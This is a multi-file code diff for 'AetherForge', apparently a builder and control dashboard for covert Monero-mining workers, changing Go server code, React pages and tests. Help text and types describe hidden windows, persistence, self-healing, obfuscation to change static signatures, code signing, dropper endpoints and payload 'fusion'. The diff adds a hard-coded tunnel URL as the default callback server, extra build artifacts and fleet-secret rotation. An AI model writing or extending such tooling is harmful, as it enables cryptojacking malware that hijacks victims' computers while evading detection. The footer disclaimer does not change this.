@@ -97,6 +99,42 @@ func TestStartRetentionJobs_TickerInterval(t *testing.T) {
t.Fatalf("expected at least 2 retention passes (immediate + tick), got %d", passes)
}
func TestStopRetentionJobs_StopsBackgroundLoop(t *testing.T) {
prev := retentionTickInterval
retentionTickInterval = 40 * time.Millisecond
t.Cleanup(func() {
retentionTickInterval = prev
runRetentionFn = runRetention
StopRetentionJobs()
})
d := openTestDB(t)
var passes int32
runRetentionFn = func(database *db.Database, dataDir string, statsHours, buildDays int) {
atomic.AddInt32(&passes, 1)
}
StartRetentionJobs(d, t.TempDir(), 1, 0)
deadline := time.Now().Add(250 * time.Millisecond)
for time.Now().Before(deadline) {
if atomic.LoadInt32(&passes) >= 2 {
break
}
time.Sleep(10 * time.Millisecond)
}
if atomic.LoadInt32(&passes) < 2 {
t.Fatalf("expected at least 2 passes before stop, got %d", passes)
}
before := atomic.LoadInt32(&passes)
StopRetentionJobs()
time.Sleep(120 * time.Millisecond)
if got := atomic.LoadInt32(&passes); got != before {
t.Fatalf("expected no retention passes after stop, before=%d after=%d", before, got)
}
}
func TestRunRetention_PurgesHashrateSamples(t *testing.T) {
d := openTestDB(t)
seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100)

View File

@@ -121,18 +121,24 @@ type Job struct {
CreatedAt time.Time `json:"created_at"`
}
type BuildExtraFile struct {
FileName string `json:"file_name"`
FilePath string `json:"file_path,omitempty"`
}
type BuildRecord struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
Threads int `json:"threads"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
FilePath string `json:"file_path"`
FileName string `json:"file_name"` // base filename for display
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
ID string `json:"id"`
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
Threads int `json:"threads"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
FilePath string `json:"file_path"`
FileName string `json:"file_name"` // base filename for display
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
ExtraFiles []BuildExtraFile `json:"extra_files,omitempty"`
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"`
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
// Pool settings

View File

@@ -153,6 +153,7 @@ func TestBuildRecordJSONRoundTrip(t *testing.T) {
Threads: 4, FileSize: 1024, BundleSize: 2048,
FilePath: "/data/build.exe", FileName: "build.exe",
DownloadURL: "/api/v1/builds/build-1/download", Platform: "windows",
ExtraFiles: []BuildExtraFile{{FileName: "README.txt"}},
CreatedAt: time.Now().UTC(), Pinned: true,
PoolHost: "pool.example.com", PoolPort: 3333, PoolTLS: true, PoolPass: "x",
})

View File

@@ -94,6 +94,9 @@ func main() {
}
}
// Load dashboard auth early so credentials print before slow startup steps.
api.LoadUsers(cfg.DataDir)
// Initialize database
database, err := db.New(cfg.DataDir)
if err != nil {
@@ -182,6 +185,7 @@ func main() {
log.Println("Config handler initialized")
maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
defer maintenance.StopRetentionJobs()
// Pre-connect default upstream pool from server config (Forge defaults seed from here)
go func() {
@@ -422,13 +426,23 @@ func resolveDataDir(dataDir, projectRoot string) string {
return abs
}
func projectRootMarker(dir string) bool {
for _, name := range []string{"devrun.bat", "LAUNCH.bat", "run.bat"} {
if _, err := os.Stat(filepath.Join(dir, name)); err == nil {
return true
}
}
return false
}
func findProjectRoot() string {
if cwd, err := os.Getwd(); err == nil {
if _, err := os.Stat(filepath.Join(cwd, "run.bat")); err == nil {
if projectRootMarker(cwd) {
return cwd
}
if _, err := os.Stat(filepath.Join(filepath.Dir(cwd), "run.bat")); err == nil {
return filepath.Dir(cwd)
parent := filepath.Dir(cwd)
if projectRootMarker(parent) {
return parent
}
}
if exe, err := os.Executable(); err == nil {
@@ -439,7 +453,7 @@ func findProjectRoot() string {
filepath.Join(exeDir, "..", ".."),
}
for _, candidate := range candidates {
if _, err := os.Stat(filepath.Join(candidate, "run.bat")); err == nil {
if projectRootMarker(candidate) {
abs, _ := filepath.Abs(candidate)
return abs
}
@@ -454,7 +468,7 @@ func findProjectRoot() string {
// findWebRoot locates the frontend build output directory
func findWebRoot() string {
candidates := []string{
"webroot", // Copied by run.bat
"webroot", // Copied by devrun.bat
"web/dist", // Vite build output relative to server/
filepath.Join("..", "server", "web", "dist"), // Relative to project root
filepath.Join("server", "web", "dist"), // From project root

View File

@@ -47,13 +47,19 @@ func TestFindProjectRootFromServerDir(t *testing.T) {
t.Fatal(err)
}
root := findProjectRoot()
runBat := filepath.Join(root, "run.bat")
if _, err := os.Stat(runBat); err != nil {
t.Fatalf("findProjectRoot=%q missing run.bat: %v", root, err)
found := false
for _, name := range []string{"devrun.bat", "LAUNCH.bat", "run.bat"} {
if _, err := os.Stat(filepath.Join(root, name)); err == nil {
found = true
break
}
}
if !found {
t.Fatalf("findProjectRoot=%q missing devrun.bat/LAUNCH.bat/run.bat", root)
}
// When tests run from server/, root should be parent of cwd or cwd itself.
if root != cwd && root != filepath.Dir(cwd) {
t.Logf("findProjectRoot=%q cwd=%q (acceptable if run.bat layout differs)", root, cwd)
t.Logf("findProjectRoot=%q cwd=%q (acceptable if marker layout differs)", root, cwd)
}
}

View File

@@ -27,12 +27,68 @@ const OFFLINE_AGENT = {
test.describe('Remote actions UI', () => {
test.beforeEach(async ({ page }) => {
await page.route('**/api/v1/agents', async (route) => {
if (route.request().method() === 'GET' && route.request().url().endsWith('/agents')) {
await route.fulfill({ json: [OFFLINE_AGENT] });
// AgentsPage syncs from WebSocket when connected; mock dashboard WS init (HTTP route cannot intercept WS).
await page.addInitScript((agent) => {
const RealWS = WebSocket;
const g = globalThis as typeof globalThis & { __afRealWebSocket?: typeof WebSocket };
g.__afRealWebSocket = RealWS;
globalThis.WebSocket = function (url: string | URL, protocols?: string | string[]) {
const urlStr = String(url);
if (!urlStr.includes('/ws/dashboard')) {
return new g.__afRealWebSocket!(url, protocols);
}
let openHandler: (() => void) | null = null;
let messageHandler: ((ev: MessageEvent) => void) | null = null;
let closeHandler: (() => void) | null = null;
const sock = {
readyState: 0,
send() {},
close() {
sock.readyState = 3;
closeHandler?.();
},
set onopen(fn: (() => void) | null) {
openHandler = fn;
},
get onopen() {
return openHandler;
},
set onmessage(fn: ((ev: MessageEvent) => void) | null) {
messageHandler = fn;
},
get onmessage() {
return messageHandler;
},
set onclose(fn: (() => void) | null) {
closeHandler = fn;
},
get onclose() {
return closeHandler;
},
set onerror(_fn: (() => void) | null) {},
get onerror() {
return null;
},
};
queueMicrotask(() => {
sock.readyState = 1;
openHandler?.();
messageHandler?.({
data: JSON.stringify({ type: 'init', payload: { agents: [agent] } }),
} as MessageEvent);
});
return sock as unknown as WebSocket;
} as unknown as typeof WebSocket;
globalThis.WebSocket.OPEN = 1;
globalThis.WebSocket.CONNECTING = 0;
globalThis.WebSocket.CLOSED = 3;
}, OFFLINE_AGENT);
await page.route(/\/api\/v1\/agents$/, async (route) => {
if (route.request().method() !== 'GET') {
await route.continue();
return;
}
await route.continue();
await route.fulfill({ json: [OFFLINE_AGENT] });
});
await page.route('**/api/v1/agents/*/stats*', async (route) => {
await route.fulfill({ json: [] });

View File

@@ -6,6 +6,7 @@ import { describe, expect, it, vi } from 'vitest';
import { render, screen } from '@testing-library/react';
import { MemoryRouter, Routes, Route, Navigate } from 'react-router-dom';
import App, { PageFallback } from './App';
import { routerFuture } from './routerFuture';
vi.mock('./context/WebSocketProvider', () => ({
WebSocketProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
@@ -42,7 +43,7 @@ describe('App route config', () => {
it('redirects / to dashboard and /builder to forge', () => {
function RedirectProbe({ path }: { path: string }) {
return (
<MemoryRouter initialEntries={[path]}>
<MemoryRouter initialEntries={[path]} future={routerFuture}>
<Routes>
<Route path="/" element={<Navigate to="/dashboard" replace />} />
<Route path="/dashboard" element={<div>Dashboard Page</div>} />
@@ -61,7 +62,7 @@ describe('App route config', () => {
it('renders crucible route via App shell', async () => {
render(
<MemoryRouter initialEntries={['/crucible']}>
<MemoryRouter initialEntries={['/crucible']} future={routerFuture}>
<App />
</MemoryRouter>
);

View File

@@ -8,13 +8,19 @@ export function getStoredAuth(): string | null {
}
}
export function setStoredAuth(username: string, password: string) {
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
const token = btoa(`${username}:${password}`);
sessionStorage.setItem(AUTH_KEY, token);
if (!opts?.silent) {
window.dispatchEvent(new Event('aetherforge-auth'));
}
}
export function clearStoredAuth() {
export function clearStoredAuth(opts?: { silent?: boolean }) {
sessionStorage.removeItem(AUTH_KEY);
if (!opts?.silent) {
window.dispatchEvent(new Event('aetherforge-auth'));
}
}
export function authHeaders(): Record<string, string> {

View File

@@ -263,6 +263,16 @@ describe('api client', () => {
expect(JSON.parse(lastFetch().init.body as string)).toEqual({ username: 'alice', password: 'secret' });
});
it('rotateFleetSecret POSTs rotate endpoint', async () => {
fetchMock.mockResolvedValueOnce(jsonResponse({ ok: true, hint: 'abcd1234...' }));
const res = await api.rotateFleetSecret();
expect(res.ok).toBe(true);
expect(lastFetch().url).toBe('/api/v1/server/rotate-secret');
expect(lastFetch().init.method).toBe('POST');
});
it('getXmrPrice and getServerInfo', async () => {
fetchMock
.mockResolvedValueOnce(jsonResponse({ usd: 200, updated_at: 'now' }))

View File

@@ -3,6 +3,9 @@ import { authHeaders } from './auth';
const API_BASE = '/api/v1';
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
const { headers: extraHeaders, ...rest } = options ?? {};
const res = await fetch(`${API_BASE}${url}`, {
@@ -118,6 +121,8 @@ export const api = {
// Health / server
healthCheck: () => fetchJSON<{ status: string }>('/health'),
getServerInfo: () => fetchJSON<ServerInfo>('/server/info'),
rotateFleetSecret: () =>
fetchJSON<{ ok: boolean; hint?: string }>('/server/rotate-secret', { method: 'POST' }),
// Fleet ops
getAlerts: () => fetchJSON<FleetAlert[]>('/alerts'),

View File

@@ -6,6 +6,7 @@ import { cleanup, render, screen, waitFor, fireEvent } from '@testing-library/re
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import { type ReactNode } from 'react';
import { routerFuture } from '../routerFuture';
import { mockAgent, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
import { downloadApiFile, downloadAuthedFile } from '../api/download';
@@ -169,7 +170,9 @@ describe('DownloadButton', () => {
);
const btn = screen.getByRole('button', { name: 'Save' });
await userEvent.setup().click(btn);
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
await waitFor(() => {
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
});
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
});
@@ -645,7 +648,7 @@ describe('VisualComponents', () => {
it('ForgeCalibrateCompare links to routes', () => {
render(
<MemoryRouter>
<MemoryRouter future={routerFuture}>
<ForgeCalibrateCompare />
</MemoryRouter>
);
@@ -697,7 +700,7 @@ describe('SystemStatusBar', () => {
it('shows server and fleet pills after poll', async () => {
render(
<MemoryRouter>
<MemoryRouter future={routerFuture}>
<SystemStatusBar />
</MemoryRouter>
);
@@ -780,7 +783,7 @@ describe('Layout', () => {
it('renders nav links and children', async () => {
render(
<MemoryRouter initialEntries={['/dashboard']}>
<MemoryRouter initialEntries={['/dashboard']} future={routerFuture}>
<Layout>
<div>page body</div>
</Layout>

View File

@@ -48,6 +48,7 @@ describe('WebSocketProvider', () => {
beforeEach(() => {
sessionStorage.clear();
MockWebSocket.instances = [];
setStoredAuth('testuser', 'testpass', { silent: true });
vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
Object.defineProperty(window, 'location', {
value: { protocol: 'http:', host: 'localhost:8080' },
@@ -69,6 +70,7 @@ describe('WebSocketProvider', () => {
it('connects to ws dashboard with auth token query param', () => {
setStoredAuth('drjones', 'secret');
MockWebSocket.instances = [];
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
const ws = latestSocket();
@@ -79,10 +81,11 @@ describe('WebSocketProvider', () => {
expect(result.current.isConnected).toBe(true);
});
it('connects without token when logged out', () => {
clearStoredAuth();
it('does not connect when logged out', () => {
clearStoredAuth({ silent: true });
MockWebSocket.instances = [];
renderHook(() => useWebSocketContext(), { wrapper });
expect(latestSocket().url).toBe('ws://localhost:8080/ws/dashboard');
expect(MockWebSocket.instances).toHaveLength(0);
});
it('useWebSocket re-exports context hook', () => {
@@ -160,6 +163,7 @@ describe('WebSocketProvider', () => {
it('schedules reconnect after close', () => {
vi.useFakeTimers();
MockWebSocket.instances = [];
renderHook(() => useWebSocketContext(), { wrapper });
const first = latestSocket();

View File

@@ -40,14 +40,25 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
reconnectTimer.current = null;
}
const token = getStoredAuth();
if (!token) {
const existing = wsRef.current;
if (existing) {
existing.onclose = null;
existing.close();
wsRef.current = null;
}
setIsConnected(false);
return;
}
const existing = wsRef.current;
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
existing.close();
}
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const token = getStoredAuth();
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard${token ? `?token=${encodeURIComponent(token)}` : ''}`;
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?token=${encodeURIComponent(token)}`;
const ws = new WebSocket(wsUrl);
wsRef.current = ws;
@@ -57,6 +68,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
if (unmounted.current) return;
setIsConnected(false);
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
if (!getStoredAuth()) return;
reconnectTimer.current = setTimeout(connect, 3000);
};
@@ -201,8 +213,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
useEffect(() => {
unmounted.current = false;
connect();
const onAuthChange = () => connect();
window.addEventListener('aetherforge-auth', onAuthChange);
return () => {
unmounted.current = true;
window.removeEventListener('aetherforge-auth', onAuthChange);
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
const ws = wsRef.current;
if (ws) { ws.onclose = null; ws.close(); }

View File

@@ -1,5 +1,5 @@
import { describe, expect, it } from 'vitest';
import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults';
import { FORGE_BUILD_DEFAULTS, DEFAULT_PUBLIC_TUNNEL, forgeDefaultsFromServer } from './forgeDefaults';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
describe('FORGE_BUILD_DEFAULTS', () => {
@@ -47,12 +47,12 @@ describe('forgeDefaultsFromServer', () => {
expect(result.server_url).toBe('https://tunnel.example.com');
});
it('falls back to suggested_url when public_url is blank', () => {
it('falls back to baked tunnel URL when public_url is blank', () => {
const config = mockServerConfig({
server: { public_url: ' ' },
});
const result = forgeDefaultsFromServer(config, mockServerInfo);
expect(result.server_url).toBe(mockServerInfo.suggested_url);
expect(result.server_url).toBe(DEFAULT_PUBLIC_TUNNEL);
});
it('reflects obfuscate and sign defaults from server config', () => {

View File

@@ -1,5 +1,8 @@
import type { BuildRequest, ServerConfig, ServerInfo } from '../types';
/** Baked Cloudflare tunnel — used when Calibrate public_url is blank. */
export const DEFAULT_PUBLIC_TUNNEL = 'https://killa.thetempleofdoom.com';
/** Defaults for a new forge build — not stored in Calibrate. */
export const FORGE_BUILD_DEFAULTS: Omit<
BuildRequest,
@@ -62,7 +65,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
return {
...FORGE_BUILD_DEFAULTS,
worker_name: '',
server_url: publicUrl || serverInfo.suggested_url,
server_url: publicUrl || DEFAULT_PUBLIC_TUNNEL || serverInfo.suggested_url,
wallet: config.wallet.address,
pool_host: config.pool.host,
pool_port: config.pool.port,

View File

@@ -27,11 +27,11 @@ export const FIELD_HELP: Record<string, string> = {
forge_recommended_defaults:
'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
obfuscate:
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (devrun.bat installs it).',
sign_build:
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
obfuscate_default:
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with devrun.bat release.',
sign_enabled:
'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
sign_cert_thumbprint:

View File

@@ -2,6 +2,7 @@ import React from 'react';
import ReactDOM from 'react-dom/client';
import { BrowserRouter } from 'react-router-dom';
import App from './App';
import { routerFuture } from './routerFuture';
import ErrorBoundary from './components/ErrorBoundary';
import './styles/global.css';
import './styles/steampunk-theme.css';
@@ -21,7 +22,7 @@ ReactDOM.createRoot(document.getElementById('root')!).render(
</div>
}
>
<BrowserRouter>
<BrowserRouter future={routerFuture}>
<App />
</BrowserRouter>
</ErrorBoundary>

View File

@@ -12,6 +12,7 @@ import BuildManagerPage, {
truncateWallet,
} from './BuildManagerPage';
import { api } from '../api/client';
import { routerFuture } from '../routerFuture';
vi.mock('../components/Fleet/LanDownloadQR', () => ({
LanDownloadQR: () => <div data-testid="lan-qr-mock" />,
@@ -82,7 +83,7 @@ describe('BuildManagerPage', () => {
it('renders build list after load', async () => {
render(
<MemoryRouter>
<MemoryRouter future={routerFuture}>
<BuildManagerPage />
</MemoryRouter>
);

View File

@@ -221,7 +221,7 @@ function BuildCard({
<div className="bm-downloads-label font-tech">DOWNLOAD</div>
<div className="bm-downloads-row">
<DownloadButton
apiPath={api.buildDownloadUrl(build.id)}
apiPath={build.download_url || api.buildDownloadUrl(build.id)}
filename={exeName}
className="btn btn-primary bm-dl-btn"
>
@@ -234,6 +234,16 @@ function BuildCard({
>
Uninstall script
</AuthDownloadButton>
{build.extra_files?.map((f) => (
<DownloadButton
key={f.file_name}
apiPath={api.buildArtifactUrl(build.id, f.file_name)}
filename={f.file_name}
className="btn btn-outline bm-dl-btn"
>
{f.file_name}
</DownloadButton>
))}
</div>
</div>

View File

@@ -7,12 +7,13 @@ import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import BuilderPage, { formatBytes } from './BuilderPage';
import { ForgeProvider } from '../context/ForgeContext';
import { routerFuture } from '../routerFuture';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
function renderBuilder(initialEntries = ['/forge']) {
return render(
<MemoryRouter initialEntries={initialEntries}>
<MemoryRouter initialEntries={initialEntries} future={routerFuture}>
<ForgeProvider>
<BuilderPage />
</ForgeProvider>

View File

@@ -19,7 +19,7 @@ import {
type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import { buildRequestFromRecord } from '../help/buildManager';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import { useForge } from '../context/ForgeContext';
import {
@@ -272,6 +272,7 @@ export default function BuilderPage() {
try {
const data = await api.getBlueprint(name);
setCompareBlueprint(data as Record<string, unknown>);
setBlueprintName(name);
// Merge loaded data into form, preserving any fields not in the blueprint
setForm((prev) => (prev ? { ...prev, ...data } : prev));
setShowBlueprints(false);
@@ -341,7 +342,9 @@ export default function BuilderPage() {
const reader = new FileReader();
reader.onload = (evt) => {
try {
const data = JSON.parse(evt.target?.result as string);
const data = JSON.parse(evt.target?.result as string) as Record<string, unknown>;
setCompareBlueprint(data);
setBlueprintName(file.name);
setForm((prev) => (prev ? { ...prev, ...data } : prev));
setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`);
setTimeout(() => setBlueprintMsg(''), 3000);
@@ -594,6 +597,10 @@ export default function BuilderPage() {
);
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
const blueprintChanges = useMemo(() => {
if (!compareBlueprint || !form) return [];
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
}, [compareBlueprint, form]);
const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe';
const fusionMediaMode = form?.fusion_media_mode || 'paired';
@@ -754,6 +761,44 @@ export default function BuilderPage() {
</div>
)}
{compareBlueprint && blueprintChanges.length > 0 && (
<div className="card" style={{ marginBottom: '16px' }}>
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: '8px' }}>
<h3 style={{ margin: 0, fontSize: '1rem' }}>
Blueprint diff {blueprintName || 'loaded blueprint'}
</h3>
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => {
setCompareBlueprint(null);
setBlueprintName('');
}}
>
Dismiss
</button>
</div>
<p className="form-hint" style={{ marginTop: 0 }}>
Fields that differ from the loaded blueprint (your previous form values were kept where they conflict).
</p>
<ul className="blueprint-diff-list" style={{ margin: 0, paddingLeft: '1.25rem', fontSize: '0.85rem' }}>
{blueprintChanges.map((row) => (
<li key={row.key}>
<code>{row.key}</code>
{' — '}
{row.kind === 'added' && <span>kept from form</span>}
{row.kind === 'removed' && <span>not in current form</span>}
{row.kind === 'changed' && (
<span>
blueprint current
</span>
)}
</li>
))}
</ul>
</div>
)}
{/* Blueprint picker panel */}
{showBlueprints && (
<div className="card" style={{ marginBottom: '16px' }}>
@@ -2022,6 +2067,19 @@ export default function BuilderPage() {
Download
</DownloadButton>
)}
{lastBuild.build_id &&
lastBuild.extra_files?.map((f) =>
f.file_name ? (
<DownloadButton
key={f.file_name}
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
filename={f.file_name}
className="btn btn-outline btn-sm"
>
{f.file_name}
</DownloadButton>
) : null
)}
<button
type="button"
className="btn btn-outline btn-sm"

View File

@@ -7,6 +7,7 @@ import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import DashboardPage, { formatShareTime } from './DashboardPage';
import { mockAgent, mockShare } from '../test/fixtures';
import { routerFuture } from '../routerFuture';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
@@ -41,7 +42,7 @@ function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
function renderDashboard() {
return render(
<MemoryRouter>
<MemoryRouter future={routerFuture}>
<DashboardPage />
</MemoryRouter>
);

View File

@@ -1,9 +1,8 @@
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import { useState, useEffect, useMemo, type CSSProperties } from 'react';
import { useState, useEffect, useMemo, lazy, Suspense, type CSSProperties } from 'react';
import { Link } from 'react-router-dom';
import type { Share } from '../types';
import HashrateChart from '../components/Charts/HashrateChart';
import GaugeRing from '../components/Charts/GaugeRing';
import NeonCard from '../components/NeonCard/NeonCard';
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
@@ -21,8 +20,14 @@ import {
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import ErrorBoundary from '../components/ErrorBoundary';
import FleetTopologyMap from '../components/Visual/3D/FleetTopologyMap';
import MatrixStreamOverlay from '../components/Visual/MatrixStreamOverlay';
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
const FleetTopologyMap = lazy(() => import('../components/Visual/3D/FleetTopologyMap'));
const MatrixStreamOverlay = lazy(() => import('../components/Visual/MatrixStreamOverlay'));
function ChartPlaceholder({ height }: { height: number }) {
return <div style={{ height, opacity: 0.35 }} className="font-tech" aria-hidden />;
}
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
@@ -458,24 +463,28 @@ export default function DashboardPage() {
{/* ── Advanced-only panels ─────────────────────────────────────────────── */}
{advancedMode && <AIActivityPanel entries={aiEntries} agentNames={agentNameMap} />}
<div className="grid-2 chart-row">
<NeonCard accent="cyan" tilt3d>
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
</NeonCard>
<NeonCard accent="purple" tilt3d>
<HashrateChart data={acceptHistory} title="Accept Rate Pulse" color="#a855f7" unit="%" height={300} />
</NeonCard>
</div>
{advancedMode && (
<Suspense fallback={<ChartPlaceholder height={300} />}>
<div className="grid-2 chart-row">
<NeonCard accent="magenta" tilt3d>
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={220} />
<NeonCard accent="cyan" tilt3d>
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
</NeonCard>
<NeonCard accent="brass" tilt3d>
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
<NeonCard accent="purple" tilt3d>
<HashrateChart data={acceptHistory} title="Accept Rate Pulse" color="#a855f7" unit="%" height={300} />
</NeonCard>
</div>
</Suspense>
{advancedMode && (
<Suspense fallback={<ChartPlaceholder height={220} />}>
<div className="grid-2 chart-row">
<NeonCard accent="magenta" tilt3d>
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={220} />
</NeonCard>
<NeonCard accent="brass" tilt3d>
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
</NeonCard>
</div>
</Suspense>
)}
<NeonCard accent="purple" className="section" hud>
@@ -494,7 +503,9 @@ export default function DashboardPage() {
</div>
}
>
<FleetTopologyMap agents={agents} />
<Suspense fallback={<ChartPlaceholder height={360} />}>
<FleetTopologyMap agents={agents} />
</Suspense>
</ErrorBoundary>
</section>
@@ -622,7 +633,11 @@ export default function DashboardPage() {
</NeonCard>
</section>
)}
<MatrixStreamOverlay active={showMatrix} onClose={() => setShowMatrix(false)} />
{showMatrix && (
<Suspense fallback={null}>
<MatrixStreamOverlay active onClose={() => setShowMatrix(false)} />
</Suspense>
)}
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>

View File

@@ -5,13 +5,14 @@ import { afterEach, describe, expect, it } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import { MemoryRouter } from 'react-router-dom';
import GuidePage from './GuidePage';
import { routerFuture } from '../routerFuture';
describe('GuidePage', () => {
afterEach(() => cleanup());
it('renders field guide hero and pipeline section', () => {
render(
<MemoryRouter>
<MemoryRouter future={routerFuture}>
<GuidePage />
</MemoryRouter>
);

View File

@@ -1,6 +1,6 @@
import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import { setStoredAuth, getStoredAuth, clearStoredAuth, authHeaders } from '../api/auth';
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import type { ServerConfig } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
@@ -159,13 +159,7 @@ export default function SettingsPage() {
setRotatingSecret(true);
setRotateMsg('');
try {
await fetch('/api/v1/server/rotate-secret', {
method: 'POST',
headers: { ...authHeaders() },
}).then(async (r) => {
if (!r.ok) throw new Error(await r.text());
return r.json();
});
await api.rotateFleetSecret();
setRotateMsg('Secret rotated. Re-forge all agents to reconnect.');
} catch (e: unknown) {
setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e)));

View File

@@ -0,0 +1,4 @@
export const routerFuture = {
v7_startTransition: true,
v7_relativeSplatPath: true,
} as const;

View File

@@ -179,6 +179,7 @@ describe('types/index — BuildRecord / Build alias', () => {
pool_port: 443,
pool_tls: true,
pool_pass: 'x',
download_url: '/api/v1/builds/build-uuid/download',
};
it('Build alias is assignable from BuildRecord', () => {
@@ -193,8 +194,8 @@ describe('types/index — BuildRecord / Build alias', () => {
file_name: 'worker-1.exe',
platform: 'windows',
bundle_size: 2048000,
download_url: '/api/v1/builds/build-uuid/download',
pinned: true,
extra_files: [{ file_name: 'README.txt' }],
};
expect(extended.pinned).toBe(true);
expect(extended.bundle_size).toBeGreaterThan(extended.file_size);

View File

@@ -113,6 +113,11 @@ export interface ServerInfo {
websocket_url: string;
}
export interface BuildExtraFile {
file_name: string;
file_path?: string;
}
export interface BuildRecord {
id: string;
worker_name: string;
@@ -129,7 +134,9 @@ export interface BuildRecord {
pool_pass: string;
platform?: string;
bundle_size?: number;
download_url?: string;
/** Always set by the server (defaults to /builds/{id}/download when not a ZIP artifact). */
download_url: string;
extra_files?: BuildExtraFile[];
/** When true this build is served by /get and /install.* dropper endpoints */
pinned?: boolean;
}
@@ -390,7 +397,7 @@ export interface BuildResponse {
error?: string;
fusion_enabled?: boolean;
fusion_export_dir?: string;
extra_files?: { file_name: string; file_path?: string }[];
extra_files?: BuildExtraFile[];
bundle_file_name?: string;
bundle_download_url?: string;
bundle_size?: number;

View File

@@ -1,4 +1,7 @@
import { describe, expect, it } from 'vitest';
import { readFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import type {
WSAgentLog,
WSAgentOffline,
@@ -10,13 +13,66 @@ import type {
} from './ws';
import { mockAgent } from '../test/fixtures';
